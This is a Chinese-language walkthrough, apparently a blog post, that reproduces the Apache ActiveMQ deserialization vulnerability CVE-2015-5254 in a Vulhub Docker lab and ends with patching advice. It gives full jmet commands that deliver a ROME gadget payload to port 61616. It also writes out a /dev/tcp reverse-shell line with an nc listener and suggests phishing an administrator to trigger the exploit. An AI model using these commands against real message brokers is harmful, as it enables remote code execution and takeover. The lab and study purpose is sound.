ActiveMQ 反序列化漏洞 CVE-2015-5254 复现:从 jmet 利用到任意命令执行
2026/9/13 7:10:15 网站建设 项目流程

ActiveMQ 反序列化漏洞 CVE-2015-5254 复现:从 jmet 利用到任意命令执行

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

本文基于 Vulhub 仓库中的activemq/CVE-2015-5254漏洞环境,系统讲解 Apache ActiveMQ 5.x(5.13.0 之前)反序列化漏洞的原理、环境搭建与完整利用流程。读者将掌握如何通过 jmet 工具向 61616 端口投递恶意 JMS ObjectMessage,并在 Web 管理控制台触发命令执行,最终实现反弹 Shell 的完整实战方案。

漏洞概述

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源消息中间件,它支持 Java 消息服务(JMS)、集群、Spring Framework 等。作为企业级消息总线,ActiveMQ 负责在分布式系统之间可靠地传递消息,其 OpenWire 协议与 Web 管理控制台是日常运维中的核心入口。

CVE-2015-5254 是 ActiveMQ 5.13.0 之前 5.x 版本中存在的一处反序列化安全漏洞,其根源在于程序没有限制可在代理(Broker)中序列化的类。远程攻击者可借助特制的序列化 Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。由于 Java 原生反序列化机制会递归实例化流中的对象,一旦攻击者能够将包含恶意 gadget 链的字节流送入 Broker 的队列,目标主机即可被远程攻陷。

参考链接:Black Hat USA 2016 议题Pwning Your Java Messaging With Deserialization Vulnerabilities(见 CVE-2015-5254 文档 中给出的 PDF 链接)。

漏洞环境搭建

本仓库在activemq/CVE-2015-5254/目录下提供了开箱即用的漏洞环境,其 docker-compose.yml 内容如下:

version: '2' services: activemq: image: vulhub/activemq:5.11.1 ports: - "61616:61616" - "8161:8161"

activemq/CVE-2015-5254/目录下执行:

docker compose up -d

即可启动漏洞环境。环境运行后,容器将监听两个端口:

端口作用
61616工作端口(OpenWire 消息传输端口),消息在这个端口进行传递
8161Web 管理页面端口

访问http://your-ip:8161即可看到 Web 管理页面。不过需要明确的是:这个漏洞理论上是不需要 Web 的——利用的本质是向 61616 端口投递恶意消息,Web 管理页面只是复现过程中触发反序列化的便捷途径。

基础镜像源码佐证

本环境使用的vulhub/activemq:5.11.1镜像由仓库 base/activemq/5.11.1/Dockerfile 构建而来:

FROM vulhub/java:7u21-jdk ENV ACTIVEMQ_VERSION 5.11.1 ENV ACTIVEMQ apache-activemq-$ACTIVEMQ_VERSION ENV ACTIVEMQ_TCP=61616 ACTIVEMQ_UI=8161 ENV ACTIVEMQ_HOME /opt/activemq RUN set -x && \ curl -s -S https://archive.apache.org/dist/activemq/$ACTIVEMQ_VERSION/$ACTIVEMQ-bin.tar.gz | tar xvz -C /opt && \ ln -s /opt/$ACTIVEMQ $ACTIVEMQ_HOME WORKDIR $ACTIVEMQ_HOME EXPOSE $ACTIVEMQ_TCP $ACTIVEMQ_UI CMD ["/bin/sh", "-c", "bin/activemq console"]

从该 Dockerfile 可以看出两点关键信息:

  1. JDK 版本为 7u21,即镜像运行在 Java 7 环境上,这与漏洞发生的年代环境一致,也决定了 ysoserial 中 gadget 链的可用性需要结合 JVM 版本与依赖类路径来选取;
  2. 环境变量ACTIVEMQ_TCP=61616ACTIVEMQ_UI=8161与 docker-compose.yml 中映射的端口一一对应,确认了工作端口与管理端口的分工。

此外,仓库还提供了base/activemq/5.11.1/with-cron/变体(Dockerfile 与 entrypoint.sh),它在基础镜像之上额外安装了 cron 与 rsyslog,供需要定时任务辅助的利用场景使用,本 CVE 复现无需该变体。

漏洞利用流程

利用思路总览

整个利用过程可分为三步:

  1. 构造可执行命令的序列化对象(可以使用 ysoserial);
  2. 发送:将恶意对象作为一个 JMS 消息,发送给目标 61616 端口;
  3. 触发:访问 Web 管理页面,读取该消息,触发反序列化,执行任意命令。

第三步之所以能够触发代码执行,是因为 ActiveMQ 在读取ObjectMessage时会对其中的 Java 对象执行ObjectInputStream.readObject()反序列化,而受影响的版本没有对反序列化的类做白名单/黑名单限制,从而让 gadget 链得以生效。

使用 jmet 生成并投递 Payload

为了简化利用,这里使用jmet(Java Message Exploitation Tool)。jmet 的原理是使用 ysoserial 生成 Payload 并发送——其 jar 包内自带 ysoserial,无需再自行下载。因此,我们需要在 ysoserial 的 gadget 中选择一个可用的链,例如ROME

使用前需注意:先下载 jmet 的 jar 文件,并在同目录下创建一个名为external的文件夹(否则可能会报"文件夹不存在"的错误)。

执行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

各参数含义如下:

参数含义
-Q event指定消息要发送到的队列(Queue)名为event
-I ActiveMQ指定目标中间件类型为 ActiveMQ
-s以序列化(ObjectMessage)方式发送
-Y "touch /tmp/success"指定要执行的命令
-Yp ROME指定使用 ysoserial 的 ROME gadget 链
your-ip 61616目标地址与 OpenWire 端口

命令执行后,jmet 会连接目标的 61616 端口并向队列中投递一条恶意消息,同时给目标 ActiveMQ 添加一个名为event的队列,如下图所示:

在 Web 管理页面触发漏洞

投递完成后,我们可以通过 Web 管理页面查看该队列中的全部消息:

http://your-ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码为admin/admin

点击查看这条消息,即可触发反序列化与命令执行。此时进入容器验证:

docker compose exec activemq bash

在容器内执行ls /tmp可见/tmp/success已成功创建,说明漏洞利用成功:

替换命令实现反弹 Shell

-Y参数中的命令替换为反弹 Shell 语句,即可复用同样的流程获得目标容器控制权,例如:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/your-vps/4444 0>&1" -Yp ROME your-ip 61616

攻击机先nc -lvp 4444监听,随后在管理页面点击消息即可收到反弹的 Shell(复现截图见 4.png)。由于容器以 root 运行(见 entrypoint.sh 中直接以/opt/activemq/bin/activemq console前台启动),获得的即是最高的 root 权限。

触发条件与注意事项

值得特别注意的是:通过 Web 管理页面访问消息并触发漏洞这个过程需要管理员权限(即登录 admin/admin)。这带来两种实战中的触发思路:

  1. 诱导管理员访问:在没有口令的情况下,可以诱导管理员点击我们的恶意链接(如构造一个包含队列浏览 URL 的钓鱼链接)以触发;
  2. 伪装合法消息:将恶意负载伪装成其他合法服务所需的消息,等待客户端或消费者在访问该队列时自动触发反序列化——这种方式甚至无需接触 Web 管理页面,进一步印证了"该漏洞理论上不需要 Web"的说法。

此外,利用时还应关注以下前提:

  • gadget 链的选择取决于目标 JVM 与类路径:本环境运行于 Java 7u21(见 基础镜像 Dockerfile),ROME 链依赖 ActiveMQ 自带的 ROME 类库,因此在默认安装下可直接使用;
  • 61616 端口必须对攻击者可达,否则无法投递消息;8161 端口用于管理触发,若目标限制访问则需改用触发思路 2;
  • 复现结束后应执行docker compose down清理环境。

修复建议

该漏洞在 ActiveMQ 5.13.0 中得到修复,核心缓解措施是引入反序列化类的白名单机制(ObjectMessage反序列化类白名单),阻止任意 gadget 类的加载。实际生产环境中的加固建议包括:

  • 将 ActiveMQ 升级到 5.13.0 及以上版本;
  • 若无法立即升级,限制 61616 端口仅对可信来源开放,并严格管控 Web 管理控制台的访问与口令强度;
  • ObjectMessage的类加载实施白名单策略,从源头阻断恶意 gadget 链。

小结

CVE-2015-5254 是 JMS 消息中间件反序列化攻击的经典案例:攻击面广(消息端口与管理端口均可参与)、利用链成熟(ysoserial + jmet 一键投递)、影响直接(任意命令执行乃至反弹 Shell)。通过本仓库的activemq/CVE-2015-5254环境,可以完整走通"构造 Payload → 投递队列 → 管理页面触发 → 命令执行"的全过程,是理解 Java 反序列化漏洞利用与防御的绝佳实验素材。

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询